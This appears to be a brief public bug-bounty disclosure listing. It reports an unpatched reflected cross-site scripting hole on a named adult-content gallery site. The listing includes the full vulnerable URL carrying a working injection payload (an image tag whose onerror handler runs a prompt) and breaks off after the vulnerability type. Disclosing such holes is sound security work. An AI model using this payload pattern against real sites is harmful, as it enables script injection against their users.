galleries.wtfpass.com XSS vulnerability

Vulnerable URL: http://galleries.wtfpass.com/hmp/fhg/video/hmp0148mp4/index.html?nats=%22%3E%3Cimg%20src=x%20onerror=prompt%27OPENBUGBOUNTY%27;%3EMjA2Ny40LjEzLjE0LjAuMjYwNDEuMC4wLjA Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS...